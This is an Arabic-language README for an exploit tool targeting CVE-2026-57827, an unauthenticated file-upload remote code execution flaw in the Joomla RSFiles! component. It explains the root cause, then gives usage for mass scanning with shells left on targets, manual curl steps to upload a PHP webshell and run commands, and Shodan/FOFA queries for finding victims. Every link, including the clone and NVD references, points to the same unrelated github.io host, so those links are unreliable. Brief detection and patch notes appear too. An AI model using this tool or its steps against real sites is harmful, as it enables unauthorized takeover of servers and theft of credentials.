
توضيح ثغرة تنفيذ التعليمات البرمجية عن بُعد دون مصادقة في مكوّن RSFiles! الخاص بجوملا من خلال رفع ملفات تعسفي.
<p align="center">
<img src="https://img.shields.io/badge/python-3.8+-3776AB?style=flat-square&logo=python&logoColor=white">
<img src="https://img.shields.io/badge/CVE-2026--57827-CC0000?style=flat-square">
<img src="https://img.shields.io/badge/CVSS-9.8_CRITICAL-CC0000?style=flat-square">
<img src="https://img.shields.io/badge/license-MIT-97CA00?style=flat-square">
</p>
<h3 align="center">CVE-2026-57827 — ثغرة رفع ملفات غير مصادق عليها في مكوّن RSFiles! لـ Joomla تؤدي إلى RCE</h3>
<h4 align="center">تجاوز الرفع عبر المتحكّم المقسوم → استدعاء مباشر لمهمة الكتابة → /downloads/shell.php → RCE</h4>
---
## نظرة عامة
**CVE-2026-57827** هي ثغرة رفع عشوائي للملفات **غير مصادق عليها** بدرجة خطورة حرجة (CVSS 9.8) في **RSFiles!** (com_rsfiles)، وهو مكوّن شائع الاستخدام لإدارة الملفات والتنزيلات في Joomla، للإصدارات **< 1.17.12**.
تستغل الثغرة خللًا في تصميم المتحكّم المقسوم (split-controller): إذ يفصل RSFiles! عملية الرفع إلى مهمّتين في الواجهة الأمامية — فحص مسبق (بوابة صلاحيات + قائمة سماح بالامتدادات) ودالة كتابة (تحفظ الملف على القرص). يمكن استدعاء دالة الكتابة **مباشرةً**، متجاوزًا الفحص المسبق بالكامل. لا حاجة إلى أي مصادقة أو رمز CSRF.
### الإصدارات المتأثرة
| الإصدار | الحالة |
|---|---|
| < 1.17.12 | مُعرَّض للثغرة |
| 1.17.12+ | مُصحَّح |
> **اكتُشفت بواسطة:** Phil Taylor، mySites.guru (10 يوليو 2026)
> **البائع:** RSJoomla (rsjoomla.com)
> **المكوّن:** com_rsfiles
---
## آلية الثغرة
### السبب الجذري
يقسّم RSFiles! عملية الرفع عبر مهمّتين منفصلتين في الواجهة الأمامية داخل `/components/com_rsfiles/controllers/rsfiles.php`:
```php
// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
if (!$user->authorise('rsfiles.upload')) return false;
$allowed = ['jpg','png','gif','txt','pdf'];
if (!in_array($ext, $allowed)) return false;
return true;
}
// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
$file = $input->files->get('file');
// No permission check
// No extension check
// JFile::upload() accepts anything by default
JFile::upload($file['tmp_name'], $dest . $file['name']);
// File saved to /downloads/ (web root, .htaccess OFF by default)
}
```
### لماذا تنجح
1. **متحكّم مقسوم** — فحوصات الأمان وكتابة الملف في دالتين منفصلتين. الفحص المسبق فقط هو المحمي.
2. **وصول مباشر إلى المهمة** — يتيح متحكّم الواجهة الأمامية في Joomla استدعاء أي مهمة مباشرةً عبر `&task=rsfiles.upload`، متجاوزًا الفحص المسبق بالكامل.
3. **لا مصادقة** — لا يفرض متحكّم الواجهة الأمامية أي فحص وصول. يمكن للزوار المجهولين استدعاء مهمة الكتابة.
4. **لا رمز CSRF** — لا يتضمن نموذج الرفع في الواجهة الأمامية رمز CSRF على مستوى الموقع.
5. **لا تحقق من نوع الملف** — تقرأ دالة الكتابة اسم الملف من الطلب وتمرّره إلى معالج الرفع المدمج في Joomla (`JFile::upload()`)، الذي يقبل أي نوع ملف افتراضيًا.
6. **مجلد التنزيلات في جذر الويب** — يقع مجلد التنزيلات الافتراضي لـ RSFiles! داخل جذر الويب. ملف `.htaccess` الوقائي الذي كان سيمنع تنفيذ PHP هناك هو إعداد **اختياري (opt-in)** في لوحة الإدارة ويكون **مُعطَّلًا افتراضيًا**.
### مسار الهجوم
```
1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
file=<shell.php> (multipart, PHP payload)
folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
→ Skips rsfiles.checkupload (pre-flight) entirely
→ No permission check → No CSRF token check → No file-type check
→ JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
.htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data
```
### مراجع الكود المصدري المُتحقق منها
| الملف | الغرض |
|---|---|
| `/components/com_rsfiles/controllers/rsfiles.php` | المتحكّم الذي يحتوي على المهمّتين الضعيفتين `upload()` و`checkupload()` |
| `/components/com_rsfiles/views/upload/tmpl/upload.php` | قالب نموذج الرفع في الواجهة الأمامية (مؤكَّد: `name="file"`, `task=rsfiles.upload`) |
| `/downloads/` | مجلد التنزيلات الافتراضي في جذر الويب (حماية `.htaccess` مُعطَّلة افتراضيًا) |
| `/briefcase/` | مجلد الحقيبة (briefcase) (قابل للكتابة أيضًا) |
### الكشف في سجلات الخادم (من نشرة RSJoomla)
```
Look for POST requests to:
index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
index.php?option=com_rsfiles&task=rsfiles.checkupload
```
### خلل التصميم الأساسي
فحوصات الأمان (بوابة الصلاحيات + قائمة السماح بالامتدادات) هي **خطوة مسبقة منفصلة** عن الدالة التي تكتب الملف فعليًا. الأولى فقط تحتوي على الفحوصات. أما الثانية — التي تكتب على القرص — فيمكن **استدعاؤها مباشرةً** عبر صياغة معامل `task` المناسب في الرابط، متجاوزةً جميع ضوابط الأمان.
هذا مثال نموذجي على النمط المضاد «الفحوصات والإجراءات في أماكن مختلفة»: الحارس والعملية التي يفترض أن يحميها منفصلان، ويمكن للمهاجم الوصول إلى العملية دون المرور عبر الحارس.
---
## التثبيت
```bash
git clone https://candisexterior171.github.io
cd CVE-2026-57827
pip install requests
```
## الاستخدام
```bash
# Single target
python cve_2026_57827.py -t target.com
# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt
# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup
```
### الوسائط
```
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save RCE URLs to file
--threads Concurrent workers (default: 30)
--no-cleanup Leave shells on target
--debug Show every HTTP request
-v, --verbose Verbose output
```
---
## إثبات المفهوم
### هدف واحد
```bash
$ python cve_2026_57827.py -t joomla-site.com
```
```
RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8
Host : joomla-site.com
RSFiles! : YES v1.17.11
Upload : YES
RCE : YES
Shell : https://candisexterior171.github.io
Output : uid=33(www-data) gid=33(www-data) groups=33(www-data)
Time : 3.8s
```
### الاستغلال اليدوي
**الخطوة 1 — رفع القشرة (shell)**
```bash
curl -X POST 'https://candisexterior171.github.io' \
-F '[email protected]' \
-F 'folder=' \
-F 'overwrite=1'
```
**الخطوة 2 — الوصول إلى القشرة**
```bash
curl 'https://candisexterior171.github.io'
```
**الخطوة 3 — تنفيذ الأوامر**
```bash
curl 'https://candisexterior171.github.io;hostname;uname -a'
```
**التخفيف (إذا لم يكن التحديث ممكنًا)**
```bash
# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php
# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"
```
---
## FOFA / Shodan
```
FOFA: body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"
```
---
## التأثير
الاستغلال الناجح يتيح **تنفيذ التعليمات البرمجية عن بُعد بصلاحيات مستخدم خادم الويب**:
- استخراج `configuration.php` → بيانات اعتماد قاعدة البيانات وأسرار SMTP
- الوصول إلى جميع محتويات Joomla والمستخدمين وبيانات الإضافات
- نشر أبواب خلفية دائمة
- الانتقال إلى الشبكات الداخلية
- تشويه الموقع أو حقن برمجيات خبيثة
لا يلزم وجود حساب على الموقع في أي خطوة. مجهول الهوية، غير مصادق عليه، عن بُعد.
---
## الإصلاح (1.17.12)
أصلحت RSJoomla الثغرة في الإصدار 1.17.12 عبر:
- إضافة فحص صلاحيات إلى **دالة الكتابة** نفسها (وليس فقط إلى الفحص المسبق)
- إضافة تحقق من نوع الملف إلى دالة الكتابة
- فرض رمز CSRF على نقطة الرفع في الواجهة الأمامية
- جعل حماية `.htaccess` في مجلد التنزيلات **مُفعَّلة افتراضيًا**
---
## إخلاء المسؤولية
> **لأغراض تعليمية وللاختبار المصرّح به فقط.**
>
> لا تستخدمه ضد أنظمة دون إذن صريح من المالك. لا يتحمل المؤلفون أي مسؤولية عن إساءة الاستخدام.
---
## المراجع
| المصدر | الرابط |
|---|---|
| إدخال NVD | [CVE-2026-57827](https://candisexterior171.github.io) |
| نشرة mySites.guru | [mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce](https://candisexterior171.github.io) |
| نشرة RSJoomla | [rsjoomla.com](https://candisexterior171.github.io) |
| CWE-434 | [رفع غير مقيد لملف من نوع خطير](https://candisexterior171.github.io) |
| المُبلِّغ | Phil Taylor، mySites.guru |
---
<p align="center">
<sub>غير تابعة لـ RSJoomla أو mySites.guru.</sub>
</p>